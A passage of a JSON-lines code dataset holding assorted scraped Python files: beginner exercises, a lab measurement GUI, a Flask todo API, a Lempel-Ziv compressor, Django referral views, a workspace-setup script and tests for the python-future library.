print(\"Barato\")\nelif 80.1 >= preco <= 120:\n print(\"Normal\")\nelif 120.1 >= preco <= 200:\n print(\"Caro\")\nelse:\n print(\"Muito caro\")\n","repo_name":"Tony-Starkus/udemy-course-guppe","sub_path":"Secao5/Exercícios/ex33.py","file_name":"ex33.py","file_ext":"py","file_size_in_byte":353,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"26520207329","text":"# EQ-318 - TMX Keyence Measurement System\n# 3/7/2023\n# Nelson To\n# \n# v3.1\n# - add long reference checkbox to adjust x1 location\n# - fix csv file write error\n# \n# v3.2\n# - increase measured data points to 100\n#\n\nimport thorlabs_apt as apt\nimport serial\nimport time\nimport tkinter as tk\nfrom tkinter import messagebox\nfrom matplotlib.figure import Figure\nfrom matplotlib.backends.backend_tkagg import (FigureCanvasTkAgg, NavigationToolbar2Tk)\n\nser = serial.Serial(port='COM3', baudrate=9600, parity= 'N', stopbits= 1, bytesize= 8, timeout= None)\n\ny1 = 2.3 #y location\n \nmotorX=apt.Motor(27259557)\nmotorY=apt.Motor(27259910)\n\n#homing x and y motors\ndef home_motors ():\n print('Homing x,y linear rails')\n motorX.set_velocity_parameters(0,1.5,2.3) #set to max velocity\n motorY.set_velocity_parameters(0,1.5,2.3) #set to max velocity\n motorX.move_home(True)\n motorY.move_home(True)\n\n#wire measurment function\ndef measure_wires (): \n \n wireDiameter = [[],[],[],[]] #wire diameter list\n x = [[],[],[],[]] #wire x location\n numSamples = 100 #Number of sampling points\n\n if (wireType.get() == 0):\n x1 = 9.0 #reference wire\n else:\n x1 = 0.0 #working wire\n \n \n if (motorX.has_homing_been_completed or motorY.has_homing_been_completed) == 0: #checks if motors have been homed, execute homing sequence if not homed\n home_motors()\n\n rawstring = \"\"\n \n for i in range(numSamples):\n rawstring = rawstring +\",Raw\"+str(i+1)\n\n wireHeaderData = \"DateTime,OperatorID, EquipmentID, LotID,SensorNumber,FixtureID,SensorID,TipDiameter\"+ rawstring +\"\\n\"\n file = open (\"Data\\wireDiameter-\" + time.strftime(\"%Y%m%d-%H%M%S\") +\"_\" + fixtureID.get() + \".csv\", 'w')\n file.write(wireHeaderData)\n \n for i in range (4):\n j = 0\n\n file.write(time.strftime('%m/%d/%y %H:%M,') + 'N/A'+ ',' + 'EQ-318 TMX,' + lotID.get() + ',' + str(i+1) + ',' + fixtureID.get() + ',' + fixtureID.get() + '-' + str(i+1) + ',' + 'TipDiameter,')\n motorY.move_to(y1+(9.5*i), blocking =1) \n motorX.move_to(x1, blocking = 1)\n \n time.sleep(1.0) #1000ms pause\n print (\"Measuring Wire %d\" %(i+1))\n \n measureCommand = (\"GM,0,0\\r\")\n ser.write(measureCommand.encode()) #send measure command to keyence via rs232\n rawDiameter = ser.read_until(b'\\r') #read output until carriage return\n \n wireDiam = rawDiameter.decode('utf-8')\n wireDiam = wireDiam.split(',')\n wireDiam = wireDiam [2:]\n \n wireDiam = ([float(x) for x in wireDiam])\n \n for j in range(100):\n if (wireDiam[j]>0):\n file.write(str(wireDiam[j])+',')\n x[i].append(0.03*j)\n wireDiameter[i].append(wireDiam[j])\n \n file.write('\\n')\n \n file.close()\n plotData(fixtureID, wireDiameter, x)\n \ndef endProgram():\n print ('Exiting')\n if messagebox.askokcancel(\"Quit\", \"Do you want to quit?\"):\n ser.close()\n window.destroy()\n \n#Data Plot Function\ndef plotData(fixtureID, wireDiameter, x): \n figure.clear()\n plt = figure.add_subplot(111)\n\n # plt.title('Wire Diameter - FX-' + str(fixtureID),color='black',fontsize=10)\n plt.set_title('Wire Diameter - FX-' + fixtureID.get(),color='black',fontsize=10)\n plt.plot(x[0],wireDiameter[0],label=\"wire 1\", color=\"red\")\n plt.plot(x[1],wireDiameter[1],label=\"wire 2\", color=\"orange\")\n plt.plot(x[2],wireDiameter[2],label=\"wire 3\", color=\"green\")\n plt.plot(x[3],wireDiameter[3],label=\"wire 4\", color=\"blue\")\n \n plt.set_xlabel('X (mm)')\n plt.set_ylabel('Diameter (mm)')\n plt.legend(loc=\"best\")\n plt.grid(color = 'grey', linestyle = '-', linewidth = 0.5)\n \n figure.tight_layout()\n\n canvas.draw()\n canvas.flush_events()\n canvas.get_tk_widget().pack()\n toolbar.update()\n canvas.get_tk_widget().pack()\n \n# def main(command):\n# if command == 'm':\n# measure_wires()\n# elif command =='h':\n# home_motors()\n# elif command == 'x':\n# quit()\n# else:\n# print ('Not a valid command\\n')\n \n# while (True):\n # command = input ('\\nPress m to measure\\nPress h to home motors\\nPress x to exit\\n')\n # main(command)\n\n\n#GUI Components\n\nwindow = tk.Tk()\nwindow.title('R&D TM-X Keyence Wire Diameter') \n \nlotID=tk.StringVar()\nfixtureID=tk.StringVar()\nmeasureLength=tk.IntVar()\nsampleRate=tk.IntVar()\nwireType=tk.IntVar()\n\n# measureLength.set(8)\n# sampleRate.set(10)\n\nfrmInput=tk.Frame()\nfrmGraph=tk.Frame()\n\nfrmInput.grid(row=1, column=0, sticky=\"nw\",padx=5, pady=5)\nfrmGraph.grid(row=1, column=1, sticky=\"nw\",padx=5, pady=5)\n\nfigure = Figure(figsize=(6, 4), dpi=100)\ncanvas = FigureCanvasTkAgg(figure, master = frmGraph)\ntoolbar = NavigationToolbar2Tk(canvas,frmGraph)\n \ntk.Label(master=frmInput,text=\"Lot #:\", anchor=\"e\", width= 10).grid(row=1, column=0)\nentLOT = tk.Entry(master=frmInput, textvariable = lotID, width=12)\nentLOT.grid(row=1, column=1, sticky=\"w\")\n\ntk.Label(master=frmInput,text=\"FX-2-#:\", anchor=\"e\", width = 10).grid(row=2, column=0, pady=(0,15))\nentFX = tk.Entry(master=frmInput, textvariable = fixtureID, width=12)\nentFX.grid(row=2, column=1, sticky=\"w\", pady=(0,15))\n\n##wireType 0 = working wire, 1 = reference wire\n#tk.Label(master=frmInput,text=\"Reference Wire\", anchor=\"e\", width = 22).grid(row=3, column=0, pady=(0,15))\nentTypeCheck = tk.Checkbutton(master=frmInput, text='Reference',variable=wireType, onvalue=1, offvalue=0)\nentTypeCheck.grid(row=3, column=1, sticky=\"w\", pady=(0,15))\n\n# tk.Label(master=frmInput,text=\"Measurement Length (mm):\", anchor=\"e\", width=22).grid(row=3, column=0)\n# spinLength = tk.Spinbox (master=frmInput, textvariable = measureLength, width=10, from_=0, to=10)\n# spinLength.grid(row=3, column=1, sticky=\"w\")\n\n# tk.Label(master=frmInput,text=\"Sample Rate (#/mm):\", anchor=\"e\", width=22).grid(row=4, column=0, pady=(0,15))\n# spinRate = tk.Spinbox(master=frmInput, textvariable = sampleRate, width=10, from_=5, to=100)\n# spinRate.grid(row=4, column=1, sticky=\"w\", pady=(0,15))\n\nbtnHome = tk.Button(master=frmInput, command = home_motors, text=\"Home Motors\", width = 17)\nbtnMeasure = tk.Button(master=frmInput, command = measure_wires, text=\"Measure Wires\", width = 17, height=2, bg=\"#FFEBB3\")\nbtnExit= tk.Button(master=frmInput, command = endProgram, text=\"Exit\", width = 17)\n\nbtnMeasure.grid(row=6, column=0, columnspan=2, sticky=\"e\", pady=(0,10))\nbtnHome.grid(row=7, column=0, columnspan=2, sticky=\"e\", pady=(0,10))\nbtnExit.grid(row=8, column=0, columnspan=2, sticky=\"e\")\n\nwindow.protocol(\"WM_DELETE_WINDOW\", endProgram)\nwindow.mainloop()\n# ser.close()","repo_name":"nelsonto/keyenceWireMeasure","sub_path":"skiveMeasure_TMX.py","file_name":"skiveMeasure_TMX.py","file_ext":"py","file_size_in_byte":6819,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"73521324204","text":"#!/usr/bin/python \n\nimport math\nimport numpy as np\n\ndef insertSort(array):\n\tlength = len(array)\n\tfor i in range(length)[1:]:\n\t\tanchor = array[i]\n\t\tj = i-1\n\t\twhile True:\n\t\t\tif(j < 0):\n\t\t\t\tbreak;\n\t\t\tif(anchor < array[j]):\n\t\t\t\tarray[j+1] = array[j]\n\t\t\telse:\n\t\t\t\tbreak;\n\t\t\tj = j-1\n\t\tarray[j+1] = anchor\n\na = range(10)\n\na.reverse()\n\nprint(a)\n\n#insertSort(a)\n\na.sort()\n\nprint(a)\n","repo_name":"CastielLiu/hello","sub_path":"Test/lane_detect/insertSort.py","file_name":"insertSort.py","file_ext":"py","file_size_in_byte":374,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"42186982522","text":"import random, numpy, collections\n\nfrom world import Cell\nfrom decorators import genreq\nfrom noise import snoise2\n\nNoiseConfig = {\n 'scale': 3.0, # top tweak\n 'octaves': 6,\n 'persistence': 1.35, # amplitude multiplier\n 'lacunarity': 1.5, # frequency multiplier\n 'base': random.randint(0, 1000)\n}\n\nNoiseWeight = collections.namedtuple('NoiseWeight', ['weight', 'scale', 'octaves'])\nnoise_weights = [\n NoiseWeight(weight=0.8, scale=2, octaves=4),\n NoiseWeight(weight=0.2, scale=4, octaves=8),\n NoiseWeight(weight=0.1, scale=8, octaves=16)\n]\nnoise_base = random.randint(0, 1000)\n\ndef noise_xy(x, y):\n all_weights = sum( [nw.weight for nw in noise_weights] )\n\n total = 0.0\n for nw in noise_weights:\n weight = nw.weight / all_weights\n\n # Shift noise from [-1, 1] to [0, 1]\n base = 0.5 * (snoise2(x * nw.scale, y * nw.scale, nw.octaves, base=noise_base) + 1.0)\n\n total += (weight * base)\n\n return total\n\n@genreq(cellprops=['celltype', 'latitude', 'longitude'], worldparams=['has_lakes'])\ndef generate(world, vd):\n\n def calculate_cell_moisture(idx):\n base = noise_xy(world.cp_longitude[idx], world.cp_latitude[idx])\n\n (_, dist_water) = world.graph.distance(idx, lambda dest_idx: world.cp_celltype[dest_idx] == Cell.Type.WATER)\n\n # Cells closer to water have higher moisture levels. \n # \"Moisture\" refers to rainfall, not just the existance of water.\n if world.cp_celltype[idx] == Cell.Type.WATER:\n base += 0.25\n elif dist_water == 1:\n base += 0.2\n elif dist_water == 2:\n base += 0.12\n elif dist_water == 3:\n base += 0.04\n \n return max(0.0, min(0.99, base))\n\n moisture_list = [calculate_cell_moisture(idx) for idx in world.cell_idxs()]\n moisture_arr = world.new_cp_array(numpy.double, moisture_list)\n world.add_cell_property('moisture', moisture_arr)","repo_name":"anyweez/glimpse","sub_path":"plugins/calc_moisture.py","file_name":"calc_moisture.py","file_ext":"py","file_size_in_byte":1950,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"19"} +{"seq_id":"43376540880","text":"from api.models import Todo, TodoItem, User\nfrom api.schemas import TodoItemSchema, TodoSchema, UserSchema\nfrom flask import Blueprint, jsonify, request\nfrom flask_login import current_user, login_required, login_user, logout_user\nfrom flask_restful import Api, Resource\nfrom marshmallow import ValidationError\nfrom prftodosapi.extensions import db\nfrom werkzeug.security import check_password_hash\n\nblueprint = Blueprint(\"api\", __name__, url_prefix=\"/api\")\napi = Api(blueprint)\n\n\nclass TodoItemResource(Resource):\n @login_required\n def get(self, todo_id):\n curr_user_id = int(current_user.get_id())\n curr_user_todos = db.session.scalars(\n db.select(Todo.id).filter_by(user_id=curr_user_id)).all()\n\n if not (todo_id in curr_user_todos):\n return \"Todo not found\", 404\n\n todo_items = db.session.scalars(\n db.select(TodoItem).filter_by(todo_id=todo_id)).all()\n\n return TodoItemSchema().dump(todo_items, many=True)\n\n @login_required\n def post(self, todo_id):\n curr_user_id = int(current_user.get_id())\n curr_user_todos = db.session.scalars(\n db.select(Todo.id).filter_by(user_id=curr_user_id)).all()\n\n if not (todo_id in curr_user_todos):\n return \"Todo not found\", 404\n\n try:\n data = TodoItemSchema().load(request.json)\n todo_item = TodoItem(**data)\n todo_item.todo_id = todo_id\n db.session.add(todo_item)\n db.session.commit()\n except ValidationError as err:\n return err.messages, 400\n return None\n\n @login_required\n def patch(self, todo_id, item_id):\n curr_user_id = int(current_user.get_id())\n curr_user_todos = db.session.scalars(\n db.select(Todo.id).filter_by(user_id=curr_user_id)).all()\n\n if not (todo_id in curr_user_todos):\n return \"Todo not found\", 404\n\n schema = TodoItemSchema(partial=True)\n todo_item: TodoItem = TodoItem.query.get_or_404(item_id)\n\n if not (todo_item.todo_id in curr_user_todos):\n return \"Item not found\", 404\n\n data = schema.load(request.json)\n for key, value in data.items():\n if hasattr(todo_item, key):\n setattr(todo_item, key, value)\n db.session.commit()\n return None\n\n @login_required\n def delete(self, todo_id, item_id):\n curr_user_id = int(current_user.get_id())\n curr_user_todos = db.session.scalars(\n db.select(Todo.id).filter_by(user_id=curr_user_id)).all()\n\n if not (todo_id in curr_user_todos):\n return \"Todo not found\", 404\n\n item = TodoItem.query.get_or_404(item_id)\n\n if not (item.todo_id in curr_user_todos):\n return \"Item not found\", 404\n\n db.session.delete(item)\n db.session.commit()\n return None\n\n\nclass TodoResource(Resource):\n @login_required\n def get(self):\n user_id = int(current_user.get_id())\n todos = db.session.scalars(\n db.select(Todo).filter_by(user_id=user_id)).unique().all()\n return TodoSchema(many=True).dump(todos)\n\n @login_required\n def post(self):\n try:\n data = TodoSchema().load(data=request.json)\n todo = Todo(**data)\n todo.user_id = int(current_user.get_id())\n db.session.add(todo)\n db.session.commit()\n except ValidationError as err:\n return err.messages, 400\n return None\n\n @login_required\n def patch(self, todo_id):\n curr_user_id = int(current_user.get_id())\n curr_user_todos = db.session.scalars(\n db.select(Todo.id).filter_by(user_id=curr_user_id)).all()\n\n if not (todo_id in curr_user_todos):\n return \"Todo not found\", 404\n\n schema = TodoSchema(partial=True)\n todo = Todo.query.get_or_404(todo_id)\n data = schema.load(data=request.json)\n for key, value in data.items():\n if hasattr(todo, key):\n setattr(todo, key, value)\n db.session.commit()\n return None\n\n @login_required\n def delete(self, todo_id):\n curr_user_id = int(current_user.get_id())\n curr_user_todos = db.session.scalars(\n db.select(Todo.id).filter_by(user_id=curr_user_id)).all()\n\n if not (todo_id in curr_user_todos):\n return \"Todo not found\", 404\n\n todo = Todo.query.get_or_404(todo_id)\n db.session.delete(todo)\n db.session.commit()\n return None\n\n\nclass UserResource(Resource):\n @login_required\n def get(self):\n user_id = int(current_user.get_id())\n user = User.query.get_or_404(user_id)\n return jsonify(user)\n\n def post(self):\n try:\n data = UserSchema().load(data=request.json)\n user = User(**data)\n db.session.add(user)\n db.session.commit()\n\n except ValidationError as err:\n return err.messages\n return None\n\n @login_required\n def patch(self):\n user_id = int(current_user.get_id())\n schema = UserSchema(partial=True)\n user = User.query.get_or_404(user_id)\n data = schema.load(data=request.json)\n for key, value in data.items():\n if hasattr(user, key):\n setattr(user, key, value)\n db.session.commit()\n return None\n\n @login_required\n def delete(self):\n user_id = int(current_user.get_id())\n user = User.query.get_or_404(user_id)\n logout_user()\n db.session.delete(user)\n db.session.commit()\n return None\n\n\nclass AuthLoginResource(Resource):\n def post(self):\n data = UserSchema().load(request.json)\n user = db.session.execute(\n db.select(User).filter_by(username=data[\"username\"])).scalar_one()\n if not user or not check_password_hash(user.password_hash, data[\"password\"]):\n return 'Login fail', 404\n login_user(user)\n return \"Login success\", 200\n\n\nclass AuthLogoutResource(Resource):\n def post(self):\n logout_user()\n return \"logout success\", 200\n\n\napi.add_resource(TodoItemResource, \"/todos//items\",\n \"/todos//items/\")\napi.add_resource(TodoResource, \"/todos\", \"/todos/\")\napi.add_resource(UserResource, \"/user\")\n\napi.add_resource(AuthLoginResource, \"/login\")\napi.add_resource(AuthLogoutResource, \"/logout\")\n","repo_name":"Arthur-agl/prf-todos","sub_path":"prf-todos-api/api/resources.py","file_name":"resources.py","file_ext":"py","file_size_in_byte":6485,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"12437223430","text":"# En un juego de preguntas a las que se responde “Si” o “No” gana quien\n# responda correctamente las tres preguntas. Si se responde mal a cualquiera de\n# ellas ya no se pregunta la siguiente y termina el juego. Las preguntas son:\n# 1. Colon descubrió América?\n# 2. La independencia de Colombia fue en el año 1810?\n# 3. The Doors fue un grupo de rock Americano?\n\ndef ResponderPreguntas (pregunta):\n if pregunta == 'Si':\n return True\n elif pregunta == 'No':\n return False\n\ndef Jugar ():\n if ResponderPreguntas (input ('¿Colon descubrio america?:')):\n if ResponderPreguntas (input ('¿La independencia de Colombia fue en el año 1810?:')):\n if ResponderPreguntas (input ('¿The Doors fue un grupo de rock Americano?:')):\n print ('¡Gano el juego!')\n else:\n print ('Perdio el juego')\n \nJugar ()","repo_name":"DAnnaJimenezz/mejoramiento_Jimenez","sub_path":"Condicionales/con3.py","file_name":"con3.py","file_ext":"py","file_size_in_byte":899,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"72995645804","text":"#!/usr/bin/env python3\n# -*- coding:utf-8 -*-\n\"\"\"\nTítulo: Práctica 2 - Codififador Lemoel.\nDescripción: Implementar el codificador Huffman donde cada símbolo tieneuna \n longitud de 16 bits\nAutor: Erik Juárez Guerrero\nFecha de creación: 17 de marzo 2023\nÚltima fecha de edición: 1 de abril 2023\nEntrada: nombre de un archivo binario introducido por línea de mandos:\nSalida: Genera dos archivos:\n * archivo codificado con extención \".lpz\"\n * archivo que contiene el diccionario para decodificar el archivo \n con extención \".dict\"\nComo usar: introducir en la consola o simbolo de sistema la instrucción:\n \n $ python .\\codificador_lempel_ziv.py .\\[nombre_de_archivo]\n\"\"\"\n\n# Modulos Paquetes Bibliotecas\n# ----------------------------\nimport argparse\nimport os\nimport pickle\nimport time\n\nclass LZ:\n \"\"\"Codifica (comprime) un archivo binario\"\"\"\n def __init__(self, path):\n self.path = path\n self.file_name , self.ext = os.path.splitext(self.path)\n self.out_fn = self.file_name + \".lpz\"\n self.file_dict = self.file_name + \"_lpz.dict\"\n self.max_size = 16\n self.code_dict = None\n self.decode_dict = None\n self.coded_content = \"\"\n self.padding = 0\n\n def compress(self):\n \"\"\"Hace la compresión.\"\"\"\n self.__read_input()\n self.__pickle()\n\n def __read_input(self):\n symbol = \"\"\n prefix = None\n least = None\n code_list = []\n content = []\n bitstring = \"\"\n to_remove = \"\"\n count_hex = 0\n byte_output = bytearray()\n \n with open(self.path, \"rb\") as file, open(self.out_fn, \"wb\") as out_file:\n for byte in file.read():\n count_hex += 1\n bin_byte = bin(byte)[2:]\n if len(bin_byte) < 8:\n bin_byte = \"0\" * (8 - len(bin_byte)) + bin_byte\n bitstring += bin_byte\n\n if count_hex == 3:\n bitstring = bitstring[:-2]\n\n for char in bitstring:\n symbol += char\n if not symbol in content:\n least = symbol[-1]\n prefix = symbol[:-1]\n\n try:\n code = bin(content.index(prefix) + 1)[2:]\n code += least\n except ValueError:\n code = least\n\n if len(code) <= self.max_size:\n content.append(symbol)\n code = ((self.max_size - len(code)) * \"0\") + code\n code_list.append(code)\n self.coded_content += code\n else:\n code = symbol[:-1]\n symbol = symbol[-1]\n code = content.index(code)\n self.coded_content += code_list[code]\n continue\n \n while len(self.coded_content) >= 8:\n byte_output.append(int(self.coded_content[:8], 2))\n self.coded_content = self.coded_content[8:]\n to_remove += symbol\n symbol = \"\"\n\n bitstring = bitstring.partition(\"to_remove\")[2]\n to_remove = \"\"\n\n if len(symbol) > 0:\n code = symbol\n code = content.index(code)\n self.coded_content += code_list[code]\n\n # agrega padding al final para completar 8 bits\n if len(self.coded_content) % 8 != 0:\n self.padding = 8 - len(self.coded_content)\n self.coded_content = self.coded_content + (self.padding * \"0\")\n byte_output.append(int(self.coded_content[:8], 2))\n \n out_file.write(byte_output)\n\n self.code_dict = dict(zip(content, code_list))\n self.decode_dict = dict(zip(code_list, content))\n\n def __pickle(self):\n \"\"\"Serializa el diccionario [codigo: símbolo] y la extención del \n archivo original, para que se puedan llevar al script de decodificación\n y esa información se pueda recuperar.\n\n [str, int, dict[str: str]\n 0: la extención original\n 1: numero de ceros agregados al bytearray\n 2: el diccionaraio para decodificar\n \"\"\"\n serial = [self.ext, self.padding, self.decode_dict]\n with open(self.file_dict, 'wb') as file:\n pickle.dump(serial, file)\n\ndef arguments_parser():\n \"\"\"Recive el nombre del archivo a comprimir como argumento desde la línea \n de mandos.\n \"\"\"\n parser = argparse.ArgumentParser()\n parser.add_argument(\"file_name\", type=str, default=None, help=\"Nombre del archivo a comprimir.\")\n args = parser.parse_args()\n return args\n\n\n# Función main\n# ------------\ndef main():\n \"\"\" fución main\"\"\"\n print(\"Processing...\")\n\n # Tiempo de inicio\n start_time = time.time()\n\n # Entrada:\n args = arguments_parser()\n input_file = str(args.file_name)\n\n # Codificación del archivo\n o_lz = LZ(input_file) #(b)\n o_lz.compress()\n\n # Cálculo de tiempo de ejecución:\n end_time = time.time()\n elapsed_time = (end_time - start_time)# * (10**3)\n print(f\"Tiempo de ejecución: {elapsed_time:.4f}s.\")\n\n print(\"Done.\")\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"Moshibit/practicas-teoria-de-informacion","sub_path":"practica2/codificador_lempel_ziv.py","file_name":"codificador_lempel_ziv.py","file_ext":"py","file_size_in_byte":5559,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"34543850559","text":"from django.shortcuts import render, HttpResponse, redirect\nfrom .models import Tracker, Referral\nfrom datetime import datetime, timedelta\nfrom contacts.models import MailSend\nfrom datetime import datetime\nfrom home.templates import join_corelogs_mail\n\n\ndef get_data(request):\n now = datetime.now()\n last_week_mail = Tracker.objects.filter(date__range=[now-timedelta(days=7), now], source='2')\n last_week_direct = Tracker.objects.filter(date__range=[now-timedelta(days=7), now], source='1')\n last_week_sos = Tracker.objects.filter(date__range=[now-timedelta(days=7), now], source='3')\n last_week_gci = Tracker.objects.filter(date__range=[now-timedelta(days=7), now], source='6')\n last_week_referral = Tracker.objects.filter(date__range=[now-timedelta(days=7), now], source='7')\n return render(request, 'trackind/data.html', locals())\n\n\ndef refer(request):\n user = request.user\n if request.method == 'POST':\n now = datetime.now()\n subject = '{0} Invited You to join the network of SMEs'.format(user.userprofile)\n # mail_body = join_corelogs_mail.format(user.userprofile)\n # emails = request.POST.get('emails')\n li = []\n for key in request.POST:\n if '@' in request.POST[key]:\n li.append(request.POST[key])\n print(li)\n if li:\n # MailSend.objects.create(user=user, emails=li, reasons='jcm', subject=subject, date=now, body=mail_body,\n # from_email='3')\n for e in li:\n r = Referral.objects.create(email=e, user=user)\n return redirect('/')\n else:\n r = Referral.objects.filter(user=user)\n if r:\n pass\n else:\n return render(request, 'refer.html')\n\n\n\n\n# Create your views here.\n","repo_name":"simpyparveen/StartUp1","sub_path":"tracking/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1803,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"7606954513","text":"#question=input(\"Give two numbers separated by a coma:\")\n#question.split(\",\")\n#print(question)\n\na = False\ntype(2*3)\n\nb = type(a)\nprint(b)\n\nc = 2*2.3\nprint(type(c))\n\naa=None\nprint(type(aa))\n\n","repo_name":"madalenavcs/StudyingClonedBackfromGit2","sub_path":"Using_typeFunction.py","file_name":"Using_typeFunction.py","file_ext":"py","file_size_in_byte":190,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"74537502762","text":"#https://leetcode.com/problems/merge-two-sorted-lists/\n\n\n# Definition for singly-linked list.\n# class ListNode:\n# def __init__(self, x):\n# self.val = x\n# self.next = None\n\n\ndef mergeTwoLists(l1, l2):\n if not l1 or not l2:\n return l1 or l2\n if l1.val < l2.val:\n l1.next = mergeTwoLists(l1.next, l2)\n return l1\n else:\n l2.next = mergeTwoLists(l1, l2.next)\n return l2\n\n\n\ndef mergeTwoLists(l1, l2):\n dummyHead = ListNode(-1)\n p1 = l1; p2 = l2\n prev = dummyHead\n while(p1 and p2):\n if p1.val >= p2.val:\n prev.next = p2\n p2 = p2.next\n else:\n prev.next = p1\n p1 = p1.next\n prev = prev.next\n \n if p1 == None:\n prev.next = p2\n else:\n prev.next = p1\n return dummyHead.next\n","repo_name":"grwkremilek/leetcode-solutions","sub_path":"python/0021.merge-two-sorted-lists/merge_two_sorted_lists.py","file_name":"merge_two_sorted_lists.py","file_ext":"py","file_size_in_byte":834,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"1012696589","text":"#! python3\n\nimport os\nimport subprocess\nimport sys\n\n\"\"\"\nThis program will automatically setup a new workspace for a new project.\nIt will create a new directory with the user's name of choice.\nThen it will create a virtual environment within that directory.\nIt will activate the virtual environment and upgrade pip.\nIt will then install pylint and autopep8.\nFinally, it will create a python file with the user's name of choice.\n\"\"\"\n\n# Uses a directory specified in environment variables for privacy.\nWORKSPACE_DIRECTORY = os.getenv('WORKSPACE_DIRECTORY')\n\n\n\"\"\"\nCreates a new workspace folder, creates a virtual environment within it,\nupdates pip, and installs pylint and autopep8 before finally creating\na blank python file.\n\"\"\"\n\n\ndef create_workspace(workspace_name='New_Workspace', file_name='main'):\n\n os.chdir(WORKSPACE_DIRECTORY)\n subprocess.run(f'mkdir {workspace_name}', shell=True)\n os.chdir(f'{WORKSPACE_DIRECTORY}\\\\{workspace_name}')\n subprocess.run('python -m venv venv')\n activate = '.\\\\venv\\\\Scripts\\\\Activate'\n venv_setup = f'{activate} && python -m pip install --upgrade pip && pip install pylint && pip install autopep8'\n subprocess.run(venv_setup, shell=True)\n subprocess.run(f'type nul > {file_name}.py', shell=True)\n\n\n# Determines how many arguments to pass to the function from the command line.\nif len(sys.argv) == 1:\n print(sys.argv)\n create_workspace()\nelif len(sys.argv) == 2:\n print(sys.argv)\n create_workspace(sys.argv[1])\nelse:\n print(sys.argv)\n create_workspace(sys.argv[1], sys.argv[2])\n","repo_name":"andrew-zabloudil/Workspace_Creator","sub_path":"python_workspace_creator.py","file_name":"python_workspace_creator.py","file_ext":"py","file_size_in_byte":1557,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"19331244291","text":"#2581 소수\n#2020.07.17 완성!!!!!!!!!!!!!!!!!\n\nM=int(input())\nN=int(input())\n\ni=0\nj=1\nk=0\ntotal=0\nmin_total=0\nmin_rest=0\n\nfor i in range(M,N+1):\n for j in range(2, i):\n rest=i%j\n if i==1:\n mark=1\n lee=False\n break\n elif rest==0:\n mark=1\n lee=False\n break\n else:\n mark=0\n lee=True\n if lee==False:\n mark=1\n break\n if mark==0:\n total+=i\n for k in range(1):\n min_rest=rest\nif total==0:\n total=-1\n print(total)\nelse:\n print(total)\n print(min_rest+M)\n\n\n ","repo_name":"Mercurius-0227/Baekjoon","sub_path":"find_min_thtn.py","file_name":"find_min_thtn.py","file_ext":"py","file_size_in_byte":650,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"73069009963","text":"# -*- coding: utf-8 -*-\n\"\"\"\nTests to make sure the behaviour of the builtins is sensible and correct.\n\"\"\"\n\nfrom __future__ import absolute_import, division, print_function, unicode_literals\nfrom future.builtins import (bytes, dict, int, range, round, str, super,\n ascii, chr, hex, input, next, oct, open, pow,\n filter, map, zip, min, max)\n\nfrom future.utils import PY3, exec_, native_str, implements_iterator\nfrom future.tests.base import (unittest, skip26, expectedFailurePY2,\n expectedFailurePY26)\n\nimport sys\nimport textwrap\nimport tempfile\nimport os\nfrom subprocess import Popen, PIPE\nfrom numbers import Integral\nfrom decimal import Decimal\n\n\nclass TestBuiltins(unittest.TestCase):\n def setUp(self):\n self.tempdir = tempfile.mkdtemp() + os.path.sep\n\n def test_super(self):\n class verbose_list(list):\n '''\n A class that uses the new simpler super() function\n '''\n def append(self, item):\n print('Adding an item')\n super().append(item)\n\n l = verbose_list()\n l.append('blah')\n self.assertEqual(l[0], 'blah')\n self.assertEqual(len(l), 1)\n self.assertTrue(isinstance(l, list))\n\n def test_super_2(self):\n \"\"\"\n This occurs in the backported email/_header_value_parser.py\n module and seems to fail.\n \"\"\"\n class Terminal(str):\n def __new__(cls, value, token_type):\n self = super().__new__(cls, value)\n self.token_type = token_type\n self.defects = []\n return self\n\n DOT = Terminal('.', 'dot')\n\n self.assertTrue(True)\n\n def test_isinstance_int(self):\n \"\"\"\n Redefining ``int`` to a ``long`` subclass on Py2 makes this\n test fail unless __instancecheck__() is defined appropriately (or\n isinstance is redefined, as we used to do ...)\n \"\"\"\n self.assertTrue(isinstance(0, int))\n self.assertTrue(isinstance(int(1), int))\n self.assertFalse(isinstance(1.0, int))\n\n def test_isinstance_Integral(self):\n \"\"\"\n Tests the preferred alternative to the above\n \"\"\"\n self.assertTrue(isinstance(0, Integral))\n\n def test_isinstance_long(self):\n \"\"\"\n Py2's long doesn't inherit from int!\n \"\"\"\n self.assertTrue(isinstance(10**100, int))\n self.assertTrue(isinstance(int(2**64), int))\n if not PY3:\n self.assertTrue(isinstance(long(1), int))\n # Note: the following is a SyntaxError on Py3:\n # self.assertTrue(isinstance(1L, int))\n\n def test_isinstance_bytes(self):\n self.assertTrue(isinstance(b'byte-string', bytes))\n self.assertFalse(isinstance(b'byte-string', str))\n\n def test_isinstance_str(self):\n self.assertTrue(isinstance('string', str))\n self.assertTrue(isinstance(u'string', str))\n self.assertFalse(isinstance(u'string', bytes))\n\n @expectedFailurePY2\n def test_type(self):\n \"\"\"\n The following fails when passed a unicode string on Python\n (including when unicode_literals is in effect) and fails when\n passed a byte-string on Python 3. So type() always wants a native\n string as the first argument.\n\n TODO: maybe provide a replacement that works identically on Py2/3?\n \"\"\"\n mytype = type('blah', (dict,), {\"old\": 1, \"new\": 2})\n d = mytype()\n self.assertTrue(isinstance(d, mytype))\n self.assertTrue(isinstance(d, dict))\n\n def 